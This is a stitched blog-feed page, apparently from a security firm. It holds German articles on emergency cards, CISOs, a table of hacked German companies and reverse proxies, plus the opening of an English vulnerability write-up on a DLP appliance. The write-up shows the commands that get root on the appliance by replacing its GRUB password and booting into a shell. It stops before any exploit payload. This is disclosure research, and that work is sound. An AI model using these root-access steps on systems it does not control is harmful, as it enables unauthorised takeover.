Notfallkarten geben uns in unsicheren oder kritischen Situationen eine Richtline. Durch die IT-NOTFALLKARTE der HanseSecure erhalten alle Nutzer eine kompakte Handlungsanweisung.
Außerdem wird die Security Awareness des Unternehmens unimttelbar erhöht. Durch das begleitete Handeln erfahren sie Sicherheit und schützen sich und andere direkt vor weiteren fehlerhaften Entscheidungen und können die Ausweitung der Konsequenzen verhindern.
Gerade IT- Notfälle benötigen eine direkte und begleitete Handlungsrichtline, um so weitreichende Folgen zu verhindern. Darüber hinaus gilt es die Angst vor Fehlern zu nehmen, zu sensibilisieren und die Meldung von Auffälligkeiten zu bestärken. Die IT-NOTFALLKARTE sollte daher an in jedem Büro sichtbar angebracht und eine erklärende Einführung gegeben werden.
In einer Zeit, in der digitale Bedrohungen und Cyberangriffe zunehmen, wird die Rolle des Chief Information Security Officers (CISO) in Unternehmen immer wichtiger. Doch was genau macht ein CISO, und warum ist seine Position so entscheidend für die Sicherheit eines Unternehmens?
Die Bedeutung des CISO
Der CISO ist der oberste Verantwortliche für IT- und Cybersicherheit in einem Unternehmen. Während in den USA diese Position weit verbreitet ist, ist sie hierzulande noch eher die Ausnahme. Dennoch wird zunehmend klar, dass Unternehmen, die keine klare Verantwortlichkeit für IT-Sicherheit definieren, sich selbst unnötigen Risiken aussetzen.
Die Aufgaben des CISO
Die Kernaufgaben eines CISOs umfassen die Abwägung von Chancen und Risiken im Rahmen der Digitalisierung des Unternehmens. Dies beinhaltet den Schutz vor dem Verlust sensibler Informationen an Dritte sowie die Minimierung der Auswirkungen von IT-Systemausfällen. Ein effektiver CISO muss daher nicht nur technisches Know-how besitzen, sondern auch die Fähigkeit, komplexe Sachverhalte verständlich zu vermitteln und Sicherheitsmaßnahmen gegen möglichen Widerstand durchzusetzen.
Unterschiede zu anderen Sicherheitspositionen
Es ist wichtig, zwischen verschiedenen Sicherheitspositionen wie dem Chief Security Officer (CSO) und dem Chief Information Officer (CIO) zu unterscheiden. Während der CIO die strategische Richtung der Digitalisierung bestimmt, sind CSO und CISO für das Risikomanagement und der CISO speziell für die IT-Sicherheit zuständig. Eine klare Trennung und Spezialisierung dieser Aufgaben sind entscheidend für eine effektive Sicherheitsstrategie.
Die Herausforderungen für CISOs
Eine der größten Herausforderungen für CISOs besteht darin, das Vertrauen der Unternehmensleitung und der Mitarbeiter zu gewinnen. Oftmals sind CISOs nicht direkt in die Entscheidungsprozesse eingebunden und ihre Botschaften werden durch verschiedene Ebenen der Kommunikation verwässert. Dennoch ist es entscheidend, dass der CISO Zugang zur Führungsebene hat und als Bindeglied zwischen IT, Fachbereichen und Top-Management agieren kann.
Die Bedeutung von Schulungen und Weiterbildungen
Zusätzlich zu den technischen Fähigkeiten ist kontinuierliche Weiterbildung für CISOs und ihr Team unerlässlich. Die sich ständig weiterentwickelnde Landschaft der Cybersicherheit erfordert ein fortlaufendes Lernen und Anpassen an neue Bedrohungen und Technologien. Zertifizierungen wie CISSP (Certified Information Systems Security Professional) oder CISM (Certified Information Security Manager) können dabei helfen, Fachwissen und Kompetenzen zu validieren.
Entwicklung und Umsetzung von Sicherheitsrichtlinien
Ein weiterer wichtiger Aspekt der Arbeit eines CISOs ist die Entwicklung und Umsetzung von Richtlinien und Verfahren für die Informationssicherheit. Dies umfasst die Erstellung von Sicherheitsrichtlinien, die Überwachung der Einhaltung dieser Richtlinien sowie die Durchführung von Sicherheitsaudits und -tests, um Schwachstellen zu identifizieren und zu beheben.
Zusammenarbeit mit externen Partnern
CISOs arbeiten oft mit externen Partnern wie Regierungsbehörden, Strafverfolgungsbehörden und anderen Unternehmen zusammen, um Informationen über aktuelle Bedrohungen auszutauschen und gemeinsam an der Verbesserung der Cybersicherheit zu arbeiten. Diese Zusammenarbeit kann dazu beitragen, die Sicherheitsmaßnahmen eines Unternehmens zu stärken und potenzielle Angriffe zu vereiteln.
Fazit
In einer Welt, in der Cyberbedrohungen allgegenwärtig sind, ist die Rolle des CISO unverzichtbar für Unternehmen, die ihre Daten und Systeme schützen möchten. Durch eine klare Definition der Verantwortlichkeiten, kontinuierliche Weiterbildung und enge Zusammenarbeit mit anderen Sicherheitspartnern können CISOs dazu beitragen, die Sicherheitslage eines Unternehmens zu verbessern und es vor potenziell katastrophalen Folgen von Cyberangriffen zu bewahren.
Durch die Berücksichtigung dieser Punkte kann ein Unternehmen sicherstellen, dass es gut aufgestellt ist, um den stetig wachsenden Herausforderungen in der digitalen Welt zu begegnen.
Falls Du den Bedarf eines CISOs bei Euch im Unternehmen erkannt hast, können wir dich zu diesem Thema gerne ausführlicher beraten, oder als CISOaaS deine Sorgen direkt lösen. Buch dir jetzt ein kostenloses Erstgespräch!
I love revisiting the ‘there is nothing else to be found there anymore’ cases and I described this process here. Recently, I’ve been thinking of the WINDIR environment variable. I have already covered a few cases where WoW executables could … Continue reading →
I have already covered cases where I abused WINDIR environment variable to LOLBINize some WoW executables. I thought I covered w32tm.exe before, but looking at my blog history I can’t find any reference to it. So, here it is:
TL;DR This post will teach you how to patch diff CVE-2024-20696 (and indirectly CVE-2024-20697) from the January 2024 Patch Tuesday. This security patch was interesting as it wasn’t fixing native Microsoft software per se, rather patching an open-source library libarchive used by Windows to support compression and decompression functionality. Patch diffing is a powerful technique for unde...
Cyberangriffe sind längst nicht mehr nur ein Problem für große Unternehmen oder Organisationen im Fokus der Öffentlichkeit. Auch mittelständische Unternehmen und scheinbar unbedeutende Branchen sind zunehmend im Visier von Cyberkriminellen. Die jüngsten Zahlen belegen eine alarmierende Zunahme von Angriffen auf Unternehmen jeder Größe und Branche.
Kein Unternehmen ist zu klein oder zu unbedeutend
Viele Unternehmen mögen glauben, dass ihre Sicherheitsmaßnahmen ausreichen oder dass sie aufgrund ihrer Größe oder Branche nicht attraktiv für Hacker sind. Diese Annahmen sind jedoch gefährlich falsch. Jedes Unternehmen, unabhängig von seiner Größe oder Branche, besitzt wertvolle Daten, die für Cyberkriminelle von Interesse sind. Sei es Kundendaten, geistiges Eigentum oder sensible Geschäftsinformationen – für Hacker gibt es keine zu kleinen oder unwichtigen Ziele.
Die verheerenden Folgen von Cyberangriffen
Die Auswirkungen von Cyberangriffen können verheerend sein. Im Jahr 2023 wurden mehr als 58 deutsche Unternehmen Opfer von Cyberattacken, wobei die Dunkelziffer vermutlich noch höher liegt. Die meisten Angriffe erfolgten mittels Ransomware, was zu Betriebsstörungen, Umsatzeinbußen, hohen Kosten für die Datenwiederherstellung und Reputationsschäden führte.
Die Bedrohung im Jahr 2024
Auch im Jahr 2024 ist die Gefahr durch Cyberkriminelle hoch. Eine Vielzahl deutscher Unternehmen wurde bereits Opfer von Cyberangriffen, darunter namhafte Unternehmen wie ODAV AG und Transdev. Die Liste der betroffenen Unternehmen ist lang und reicht vom Mittelstand bis hin zu kritischen Infrastrukturen.
Die Notwendigkeit einer robusten Sicherheitsstrategie
Angesichts dieser Bedrohungslage ist es unerlässlich, dass Unternehmen eine robuste Sicherheitsstrategie implementieren. Dazu gehört nicht nur die Investition in technische Sicherheitsmaßnahmen wie Firewalls und Antivirensoftware, sondern auch die Sensibilisierung der Mitarbeiter für das Thema Cybersicherheit und die Implementierung von Sicherheitsrichtlinien und Verfahren.
Fazit
Die zunehmende Zahl von Cyberangriffen macht deutlich, dass kein Unternehmen immun gegen Cyberbedrohungen ist. Es ist von entscheidender Bedeutung, dass Unternehmen aller Größen und Branchen die Bedrohung ernst nehmen und proaktiv Maßnahmen ergreifen, um sich vor Cyberangriffen zu schützen. Nur so können sie ihre Daten, ihre Systeme und ihre Geschäftskontinuität langfristig sichern.
Unternehmen
Wann
Was
Quelle
ODAV AG
Januar 24
CSO
Transdev
Januar 24
CSO
Junghans-Wolle/ Pro Idee
Dezember 23
Ransomware
CSO
Allgaier Automotive
Dezember 23
filstalwelle.de
Erfo Bekleidungswerk
Dezember 23
Ransomware
CSO
KaDeWe
November 23
Ransomware
CSO
Bauer AG
CSO
Südwestfalen IT
Oktober 23
Ransomware
CSO
Motel One
Oktober 23
Ransomware
CSO
Häffner
Oktober 23
Ransomware
Explodingsecurity
HochsauerlandWasser, Hochsauerland Energie
September/Oktober2023
Ransomware
CSO
degenia Versicherungsdienst AG
September/Oktober 2023
CSO
Medgate
August/September 2023
Medgate
Kendrion Kuhnke Malente
August 23
CSO
Trinkwasserverband Stade
August 23
CSO
Wildeboer
Juli 23
Ransomware
CSO
SoftProjekt
Juli 23
Ransomware
SoftProjekt
IT-Dienstleister der Barmer
Juni 23
Software-Schwachstelle
CSO
Verivox
Juni 23
Software-Schwachstelle
CSO
Medizinischer Dienst
Juni 23
CSO
Deutsche Leasing
Juni 23
CSO
Verlagsgruppe VRM
Mai 23
CSO
Hosting-Dienstleister von Dena
Mai 23
Ransomware
CSO
United Hoster
Mai 23
Ransomware
CSO
Dienstleister von Heineking Media
Mai 23
CSO
Black Cat Networks
Mai 23
Ransomware
CSO
GITAI
Mai 23
Ransomware
CSO
Maxim Group
Mai 23
Ransomware
CSO
Lux Automation
Ransomware
CSO
Bilstein Gruppe
April 23
Ransomware
CSO
Stürtz Maschinenbau
April 23
Ransomware
DSGVO Portal
Badische Stahlwerke
April 23
CSO
Jobrad
Ransomware
CSO
Bitmarck
April 23
CSO
Lürssen
April 23
Ransomware
CSO
Evotec
April 23
CSO
Üstra
März 23
CSO
BIG direkt
März 23
Ruhr Nachrichten
Materna
März 23
CSO
SAF Holland
März 23
CSO
Matthäi
März 23
Ransomware
CSO
Energieversorgung Filstal
März 23
DDoS
CSO
Rheinmetall, NW
März 23
DDoS
CSO
Steico, BY
März 23
n.a.
CSO
Smart InsurTech, BE
Februar 23
n.a.
Smart InsurTech
Albert Ziegler, BW
Februar 23
n.a.
CSO
Unternehmen in Bayern, BY
Februar 23
Ransomware
Polizei Bayern
Kapellmann und Partner Rechtsanwälte, NW
Februar 23
Ransomware
Kapellmann
Häfele, BW
Februar 23
Ransomware
CSO
Stadtwerke Karlsruhe, BW
Februar 23
Ransomware
CSO
Dürr, BW
Februar 23
n.a.
CSO
Bayerischer Rundfunk, BY
Februar 23
Phishing
CSO
Geze, BW
Februar 23
n.a.
Geze
Wisag Dienstleistungsholding, HE
Februar 23
n.a.
Frankfurter Allgemeine Zeitung
Flughafen Hamburg, HH
Januar 23
DDoS
Hamburger Abendblatt
Plüsch-Tierheim, NW
Januar 23
n.a.
CSO
Sky Deutschland, BY
Januar 23
n.a.
Digital Fernsehen
Bitmarck, NW
Januar 23
n.a.
CSO
Fritzmeier Group, BY
Januar 23
n.a.
CSO
Adesso, NW
Januar 23
n.a.
CSO
Unternehmen in Kaiserslautern, RP
Januar 23
Social Engineering
CSO
IBB Business Team, BE
Dezember 22
Ransomware
IBB Business Team
SSI Schäfer Shop, RP
Dezember 22
n.a.
Schäfer Shop LinkedIn
Thyssenkrupp, NRW
Dezember 22
n.a.
CSO
H-Hotels, HE
Dezember 22
n.a.
H-Hotels
Meyer & Meyer, NI
Dezember 22
n.a.
CSO
Rosenschon Partnerschaft, BY
Dezember 22
n.a.
Bayreuter Tagblatt
Deutsche Klassenlotterie Berlin, BE
Dezember 22
n.a.
Berliner Kurier
Land Brandenburg Lotto, BB
Dezember 22
n.a.
RBB 24
Lotto-Toto Sachsen-Anhalt, ST
Dezember 22
n.a.
MDR
Nordwest Lotto Schleswig-Holstein, SH
Dezember 22
n.a.
Focus
Lotto Rheinland-Pfalz, RP
Dezember 22
n.a.
SWR
Technolit, HE
Dezember 22
n.a.
Technolit Facebook
T-Mobile, NW
November 22
n.a.
CSO
Landau Bedia, BE
November 22
n.a.
Landau Media
Bisping & Bisping, BY
November 22
n.a.
Nürnberger Nachrichten
Richard Wolf, BW
November 22
Ransomware
Richard Wolf
Prophete, NW
November 22
n.a.
CSO
Oase, NRW
Oktober 22
n.a.
Oase
Aurubis, HH
Oktober 22
n.a.
CSO
Enercity, NI
Oktober 22
n.a.
CSO
Deutsche Presse Agentur, HH
Oktober 22
Ransomware
CSO
Metro, NRW
Oktober 22
n.a.
CSO
Heilbronner Stimme, BW
Oktober 22
Ransomware
CSO
Wilken Software Group, BW
Oktober 22
Ransomware
CSO
Convista, NRW
Oktober 22
Zero Day
Convista
Hipp, BY
Oktober 22
n.a.
BR24
Caritasverband München und Freising, BY
September 22
Ransomware
CSO
Elabs, HE
August 22
n.a.
Elabs
Medi, BY
August 22
n.a.
CSO
IHK, deutschlandweit
August 22
DDoS
CSO
Semikron, BY
August 22
Ransomware
CSO
Continental, NI
August 22
n.a.
CSO
Autodoc, BE
August 22
n.a.
Skoda Community
Saller-Bau, TH
August 22
n.a.
Thüringer Allgemeine
Ista, NW
Juli 22
n.a.
CSO
ASG, NI
Juli 22
n.a.
CSO
Weidmüller, NW
Juli 22
n.a.
Neue Westfälische
Helinet, NW
Juli 22
DDoS
Westfälischer Anzeiger
Knauf, BY
Juni 22
n.a.
Knauf
Bizerba, BW
Juni 22
n.a.
Schwarzwälder Bote
Apetito, NW
Juni 24
n.a.
CSO
Count + Care, HE
Juni 24
Ransomware
Wissenschaftsstadt Darmstadt
Bauverein, HE
Juni 24
Ransomware
Frankfurter Rundschau
Heag und Heag Mobilo, HE
Juni 22
Ransomware
Frankfurter Rundschau
FES, HE
Juni 22
Ransomware
CSO
Entega, HE
Juni 22
Ransomware
CSO
Stadtreinigung Kassel, HE
Juni 22
n.a.
Welt
SDZ Druck und Medien, BW
Mai 22
n.a.
Schwäbische Post
Jakob Becker, RP
Mai 22
Ransomware
CSO
Posteo, BE
Mai 22
DDoS
CSO
AGCO, BY
Mai 22
Ransomware
AGCO
Ludwig Freytag,NI
Mai 22
Ransomware
NDR
CWS, NW
Mai 22
n.a.
Westfalen Blatt
Sixt, BY
April 22
n.a.
CSO
Donau Stadtwerke Dillingen-Lauingen, BY
April 22
n.a.
Augsburger Allgemeine
Reitzner, BY
April 22
n.a.
Augsburger Allgemeine
AHS, HH
April 22
n.a.
Airliners
IMA Schelling Group, NW
April 22
n.a.
Neue Westfälische
Deutsche Windtechnik, HB
April 22
Ransomware
CSO
Perbit, NW
April 22
Ransomware
CSO
KSB, ST
April 22
n.a.
rheinpfalz.de
Fraunhofer-Institut, ST
April 22
Ransomware
CSO
TÜV Nord Group, NI
April 22
n.a.
TÜV Nord Group
Nordex, HH
März 22
n.a.
Nordex
Welcome Hotels, HE
März 22
n.a.
Welcome Hotels
Stollwerck, TH
März 22
n.a.
MDR
Elobau, BW
März 22
Ransomware
Elobau
Bauking, NW
März 22
Ransomware
Westfalenpost
Rosneft, BE
März 22
n.a.
Welt
TST, RP
März 22
n.a.
SWR
Trützschler, NW
März 22
Ransomware
WDR
Funke Mediengruppe, NW
Februar 22
Bots
Die Zeit
Klopotek, BE
Februar 22
Ransomware
CSO
Schultze & Braun Rechtsanwaltsgesellschaft, BW
Februar 22
Zero Day
Schultze & Braun
Otto Dörner, HH
Februar 22
Ransomware
SVZ
Wisag Dienstleistungsholding, HE
Januar 22
n.a.
Wisag
Golfclub Hofgut Praforst, HE
Januar 22
Ransomware
Osthessen News
Thalia Bücher, NW
Januar 22
Brute Force
Tarnkappe
Unfallkasse Thüringen, TH
Januar 22
Ransomware
Unfallkasse Thüringen
Oiltanking GmbH, HH
Januar 22
n.a.
Handelsblatt
Hacks an Deutschen Unternehmen, 2022-2024
Jedes Unternehmen ist gefährdet, unabhängig von seiner Größe. Wenn Sie wissen möchten, wie Sie nicht zukünftig auf dieser Liste landen, vereinbaren sie ein kostenloses Erstgespräch!
Windows Explorer is a beast. It does so many things when it starts that it hurts… Sometimes, literally. One of the things it checks during its startup routine is the comparison of the Registry value HKEY_CURRENT_USER\Control Panel\Appearance\SchemeLangID and the result … Continue reading →
I was recently surprised by the fact that Windows’ nslookup.exe accepts the local config file .nslookuprc. When the program starts it resolves the environment variable HOME and then looks for a %HOME%\.nslookuprc file. It then reads this config file (if … Continue reading →
Warum ein Reverse Proxy ein Muss für Ihre IT-Sicherheit ist
TL;DR:
Proxy-Server fungieren als Vermittler zwischen Clients und Servern, verbessern die Sicherheit, optimieren die Leistung und ermöglichen eine effiziente Ressourcennutzung. Es gibt zwei Hauptarten: Forward-Proxys, welche ausgehenden Verkehr von Clients zum Internet routen und Reverse-Proxys, welche eingehenden Verkehr von Clients zu Backend-Servern lenken.
Was ist ein Forward-Proxy:
Ein Forward-Proxy ist ein Server, der zwischen Clients und dem Internet positioniert ist und den ausgehenden Verkehr der Clients routet. Dieser agiert im Namen der Clients, indem er deren Anfragen weiterleitet und ihre Identität verbirgt. Dadurch ermöglicht der Forward-Proxy die Kontrolle des Internetzugriffs, die Durchsetzung von Sicherheitsrichtlinien und die Verbesserung der Privatsphäre.
In einer herkömmlichen Internetkommunikation wenden sich Benutzer (User A & User B) an den Server (Server A & B), indem sie Anfragen direkt an diese senden und von ihnen Antworten erhalten. Wenn jedoch ein Forward Proxy eingerichtet ist, senden Benutzer ihre Anfragen stattdessen zuerst an diesen Proxy. Der Forward Proxy leitet dann die Anfrage an die entsprechenden Server weiter und empfängt von ihnen die Antworten, die er dann an die Benutzer zurücksendet.
Was ist ein Reverse-Proxy
Ein Reverse-Proxy ist ein Server, welcher vor Backend-Servern positioniert ist und den eingehenden Verkehr von Clients an diese Server weiterleitet. Dieser fungiert als Vermittler zwischen den Clients und den Backend-Servern, verbessert die Sicherheit, optimiert die Lastverteilung und bietet Funktionen wie SSL-Terminierung und Caching.
Normalerweise kommunizieren Benutzer (User A & B) direkt mit Servern (Server A & B), wobei Anfragen von den Benutzern an die Server gesendet werden und die Server direkt antworten. Wenn jedoch, ein Reverse-Proxy verwendet wird, gehen alle Benutzeranfragen zuerst an den Reverse-Proxy. Dieser leitet die Anfragen an die Server weiter und empfängt die Antworten. Anschließend leitet der Proxy die entsprechenden Antworten zurück an die Benutzer.
Unterschiede zwischen Forward und Reverse Proxy:
Die Hauptunterschiede liegen in ihrer Ausrichtung und Funktionsweise: Ein Forward-Proxy leitet den Verkehr von innen nach außen weiter, während ein Reverse-Proxy den Verkehr von außen nach innen lenkt.
Forward-Proxys werden typischerweise von Clientgeräten verwendet, um auf das Internet zuzugreifen, während Reverse-Proxys häufig in Serverinfrastrukturen eingesetzt werden, um den eingehenden Verkehr zu verwalten.
Einsatzgebiete des Reverse Proxy:
Grundsätzlich dient ein Reverse Proxy als zusätzliche Sicherheitsschicht, um Angriffe abzuwehren, sensible Daten zu schützen und Zugriffsbeschränkungen zu implementieren.
Flexibilität bei der Authentifizierungsmethode Der Reverse Proxy ermöglicht die Implementierung verschiedener Authentifizierungsmethoden wie HTTP Basic Auth, Digest Auth, OAuth, LDAP-Integration usw. Je nach den Anforderungen der Anwendung und den Sicherheitsrichtlinien des Unternehmens können geeignete Authentifizierungsmethoden ausgewählt und konfiguriert werden.
Verzeichnisse sperren Durch die Konfiguration des Reverse Proxys können bestimmte Verzeichnisse oder Dateien auf dem Server hinter dem Proxy gesperrt werden, um unerwünschten Zugriff zu verhindern und sensible Informationen zu schützen.
IP-Eingrenzung Der Reverse Proxy kann den Zugriff basierend auf IP-Adressen einschränken, um nur bestimmten IP-Bereichen oder vertrauenswürdigen Quellen den Zugriff zu gestatten und potenzielle Angreifer abzuwehren.
SSL-Terminierung und Caching Der Reverse-Proxy kann SSL/TLS-Entschlüsselung durchführen und häufig angeforderte Inhalte zwischenspeichern, um die Antwortzeiten zu verbessern.
Einfache Konfiguration und Skalierbarkeit Die Implementierung von Authentifizierung auf Ebene des Reverse Proxys erleichtert die Konfiguration und Skalierung der Sicherheitsinfrastruktur. Da der Proxy die Anfragen abfängt, können Sicherheitsrichtlinien und Authentifizierungseinstellungen zentral verwaltet und auf alle eingehenden Anfragen, unabhängig von den dahinterliegenden Servern, angewendet werden.
Schutz vor Angriffen und Missbrauch Der Reverse Proxy schützt die Backend-Server vor Brute-Force-Angriffen, unbefugtem Zugriff und anderen Formen von Missbrauch. Durch die Verwendung von Captchas, Zwei-Faktor-Authentifizierung und anderen Sicherheitsmechanismen kann die Sicherheit weiter erhöht werden.
Load Balancing Einige Reverse-Proxys können auch als Lastenausgleich fungieren und den Datenverkehr auf mehrere Server verteilen. Dies kann sicherstellen, dass kein einzelner Server überlastet wird und Benutzeranfragen ohne Verzögerung bearbeitet werden können.
Warum sich der Einsatz für Ihr Unternehmen lohnt:
Ihr Unternehmen profitiert von der verbesserten Sicherheit, Leistung und Skalierbarkeit, die ein Reverse-Proxy bietet.
Sie können ihre Serverressourcen effizienter nutzen, Angriffe abwehren und die Benutzererfahrung verbessern.
Durch die Implementierung eines Reverse-Proxys können Unternehmen ihren IT-Sicherheitsstandard erhöhen und somit auch die Kundenzufriedenheit steigern.
Bei der Implementierung unterstützen wir sie jederzeit.
Ausblick:
In unserem nächsten Blog-Beitrag beleuchten wir, wie Sie ganz einfach und kostenlos Ihren eigenen Reverse Proxy Server einrichten. Das dürfen Sie nicht verpassen!
Warum ein Reverse Proxy ein Muss für Ihre IT-Sicherheit ist
TL;DR:
Proxy-Server fungieren als Vermittler zwischen Clients und Servern, verbessern die Sicherheit, optimieren die Leistung und ermöglichen eine effiziente Ressourcennutzung. Es gibt zwei Hauptarten: Forward-Proxys, welche ausgehenden Verkehr von Clients zum Internet routen und Reverse-Proxys, welche eingehenden Verkehr von Clients zu Backend-Servern lenken.
Was ist ein Forward-Proxy:
Ein Forward-Proxy ist ein Server, der zwischen Clients und dem Internet positioniert ist und den ausgehenden Verkehr der Clients routet. Dieser agiert im Namen der Clients, indem er deren Anfragen weiterleitet und ihre Identität verbirgt. Dadurch ermöglicht der Forward-Proxy die Kontrolle des Internetzugriffs, die Durchsetzung von Sicherheitsrichtlinien und die Verbesserung der Privatsphäre.
In einer herkömmlichen Internetkommunikation wenden sich Benutzer (User A & User B) an den Server (Server A & B), indem sie Anfragen direkt an diese senden und von ihnen Antworten erhalten. Wenn jedoch ein Forward Proxy eingerichtet ist, senden Benutzer ihre Anfragen stattdessen zuerst an diesen Proxy. Der Forward Proxy leitet dann die Anfrage an die entsprechenden Server weiter und empfängt von ihnen die Antworten, die er dann an die Benutzer zurücksendet.
Was ist ein Reverse-Proxy
Ein Reverse-Proxy ist ein Server, welcher vor Backend-Servern positioniert ist und den eingehenden Verkehr von Clients an diese Server weiterleitet. Dieser fungiert als Vermittler zwischen den Clients und den Backend-Servern, verbessert die Sicherheit, optimiert die Lastverteilung und bietet Funktionen wie SSL-Terminierung und Caching.
Normalerweise kommunizieren Benutzer (User A & B) direkt mit Servern (Server A & B), wobei Anfragen von den Benutzern an die Server gesendet werden und die Server direkt antworten. Wenn jedoch, ein Reverse-Proxy verwendet wird, gehen alle Benutzeranfragen zuerst an den Reverse-Proxy. Dieser leitet die Anfragen an die Server weiter und empfängt die Antworten. Anschließend leitet der Proxy die entsprechenden Antworten zurück an die Benutzer.
Unterschiede zwischen Forward und Reverse Proxy:
Die Hauptunterschiede liegen in ihrer Ausrichtung und Funktionsweise: Ein Forward-Proxy leitet den Verkehr von innen nach außen weiter, während ein Reverse-Proxy den Verkehr von außen nach innen lenkt.
Forward-Proxys werden typischerweise von Clientgeräten verwendet, um auf das Internet zuzugreifen, während Reverse-Proxys häufig in Serverinfrastrukturen eingesetzt werden, um den eingehenden Verkehr zu verwalten.
Einsatzgebiete des Reverse Proxy:
Grundsätzlich dient ein Reverse Proxy als zusätzliche Sicherheitsschicht, um Angriffe abzuwehren, sensible Daten zu schützen und Zugriffsbeschränkungen zu implementieren.
Flexibilität bei der Authentifizierungsmethode Der Reverse Proxy ermöglicht die Implementierung verschiedener Authentifizierungsmethoden wie HTTP Basic Auth, Digest Auth, OAuth, LDAP-Integration usw. Je nach den Anforderungen der Anwendung und den Sicherheitsrichtlinien des Unternehmens können geeignete Authentifizierungsmethoden ausgewählt und konfiguriert werden.
Verzeichnisse sperren Durch die Konfiguration des Reverse Proxys können bestimmte Verzeichnisse oder Dateien auf dem Server hinter dem Proxy gesperrt werden, um unerwünschten Zugriff zu verhindern und sensible Informationen zu schützen.
IP-Eingrenzung Der Reverse Proxy kann den Zugriff basierend auf IP-Adressen einschränken, um nur bestimmten IP-Bereichen oder vertrauenswürdigen Quellen den Zugriff zu gestatten und potenzielle Angreifer abzuwehren.
SSL-Terminierung und Caching Der Reverse-Proxy kann SSL/TLS-Entschlüsselung durchführen und häufig angeforderte Inhalte zwischenspeichern, um die Antwortzeiten zu verbessern.
Einfache Konfiguration und Skalierbarkeit Die Implementierung von Authentifizierung auf Ebene des Reverse Proxys erleichtert die Konfiguration und Skalierung der Sicherheitsinfrastruktur. Da der Proxy die Anfragen abfängt, können Sicherheitsrichtlinien und Authentifizierungseinstellungen zentral verwaltet und auf alle eingehenden Anfragen, unabhängig von den dahinterliegenden Servern, angewendet werden.
Schutz vor Angriffen und Missbrauch Der Reverse Proxy schützt die Backend-Server vor Brute-Force-Angriffen, unbefugtem Zugriff und anderen Formen von Missbrauch. Durch die Verwendung von Captchas, Zwei-Faktor-Authentifizierung und anderen Sicherheitsmechanismen kann die Sicherheit weiter erhöht werden.
Load Balancing Einige Reverse-Proxys können auch als Lastenausgleich fungieren und den Datenverkehr auf mehrere Server verteilen. Dies kann sicherstellen, dass kein einzelner Server überlastet wird und Benutzeranfragen ohne Verzögerung bearbeitet werden können.
Warum sich der Einsatz für Ihr Unternehmen lohnt:
Ihr Unternehmen profitiert von der verbesserten Sicherheit, Leistung und Skalierbarkeit, die ein Reverse-Proxy bietet.
Sie können ihre Serverressourcen effizienter nutzen, Angriffe abwehren und die Benutzererfahrung verbessern.
Durch die Implementierung eines Reverse-Proxys können Unternehmen ihren IT-Sicherheitsstandard erhöhen und somit auch die Kundenzufriedenheit steigern.
Bei der Implementierung unterstützen wir sie jederzeit.
Ausblick:
In unserem nächsten Blog-Beitrag beleuchten wir, wie Sie ganz einfach und kostenlos Ihren eigenen Reverse Proxy Server einrichten. Das dürfen Sie nicht verpassen!
Dear Fellowlship, today’s homily is about the paradox of how adding security solutions to your infrastructure increases the vulnerable surface.
Prayers at the foot of the Altar a.k.a. disclaimer
This article was written the 28th of December when the vulnerabilities were reported to the vendor. It was only edited to add the CVE identifiers.
I want to highlight how fast they created an issue in their TODO for next release and how fast they fixed the issues. I wish more companies were so inclined to take it seriously like this did. Kudos to their developers!
Overture
Every time I see a new software during a Red Team operation I annotate it on my Obsidian so when I have free time, or I am a bit sad, I pick one of the list and try to pwn it. As I spent christmas holidays alone at 1000Km from my family both conditions were met. I decided to target a DLP software called “GTB” that is advertised in their website as the Top #1 Data Loss Prevention solution. Usually pwning a DLP console means pwning the whole domain because it gives you access to tons of stuff: credentials, execute code via agents in workstations, read/send mails, etc.
The trial version of “GTB Central Console” is a ISO that can be downloaded from their website.
1st movement: The Jailbreak
I installed the ISO (it is a custom CentOS 7) in a VM with VirtualBox, and I set a bridged network to access the exposed ports from my laptop. After the installation it prompts you for credentials:
I found the credentials in a turkish website (wizard / password!@@@). The user wizard executes a configuration program instead of a shell when you log in:
At this point I had two potential paths to follow:
A) Try to find a command injection to jailbreak it. In a black box can be boring to throw payloads until something works.
B) Try to get a root shell modifying Grub2.
I always try the second option because is the fastest. In this case the grub was password protected so I could not edit the options directly. But do not worry: I just booted a Ubunutu Live CD to replace the grub password for one known by me:
mkdir /mnt/pwned
mount /dev/sda1 /mnt/pwned
Then user.cfg was edited to replace the hash with one generated with grub-mkpasswd-pbkdf2. Once the password was replaced the VM was rebooted and when the OS selection appeared I hitted e to enter in the edit mode. Then I proceeded to modify the linux16... line to add the well-known init=/bin/bash at the end. Finish with crtl + x and you would have a root shell :D.
My intention was to access this box using SSH from my laptop, so I wanted to create a new user and give it sudo privileges. But at this stage the OS is loaded as read-only, so I needed to remount the / as rw:
mount -o remount,rw /
At this point is I just added the user and gave it sudo perms. Finally I just rebooted the VM.
I checked that the SSH service was accesible via the bridged-interface (as curious note the SSH server is at port 1122 instead of 22):
psyconauta@insulanova:~/Research/dlp|⇒ nmap 192.168.0.18 -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-27 14:26 CET
Nmap scan report for insulatergum (192.168.0.18)
Host is up (0.00011s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx
443/tcp open ssl/http nginx
1122/tcp open ssh OpenSSH 7.4 (protocol 2.0)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds
Connect and enjoy the jailbreak:
Now we can comfortably analyze all the file system and the services running on this platform.
2nd movement: The Dance of the Single Quote
When you visit the web interface you can see that 3 requests are automatically fired:
These requests are done before any authentication is made so these files are good candidates to peek an eye to look for vulnerabilities triggeables without auth. The ccapi.php file:
<?phprequire_oncedirname(__FILE__).'/../lib/util/simplemongophp/Db.php';require_oncedirname(__FILE__).'/../lib/PureApi/CCApi.class.php';$pureApiObject=newCCApi();$request=$_REQUEST;$action=$request['action']??'';header('Content-Type: text/json');if(is_array($action)){// multi action API$result=[];foreach($actionas$actionItem){$realActionItem=$actionItem;$actionItem.='Action';if(($actionItem!='Action')&&method_exists($pureApiObject,$actionItem)){$result[$realActionItem]=$pureApiObject->$actionItem($request);}else{$result[$realActionItem]=['error'=>$actionItem.' not defined!',];}}echojson_encode($result,JSON_UNESCAPED_UNICODE);}else{$action.='Action';if(($action!='Action')&&method_exists($pureApiObject,$action)){echojson_encode($pureApiObject->$action($request),JSON_UNESCAPED_UNICODE);}else{echojson_encode(['error'=>$action.' not defined!',],JSON_UNESCAPED_UNICODE);}}
As we can see, the code loads two other PHP file, then check for the parameter action and concatenate the Action string to it. After that it check if exists a method with that name. If exists, then the method is called reusing the original parameters. For example, the request shown in the burp screenshot would end calling $object->getTermsAction($request). We can see this method at CCApi.class.php:
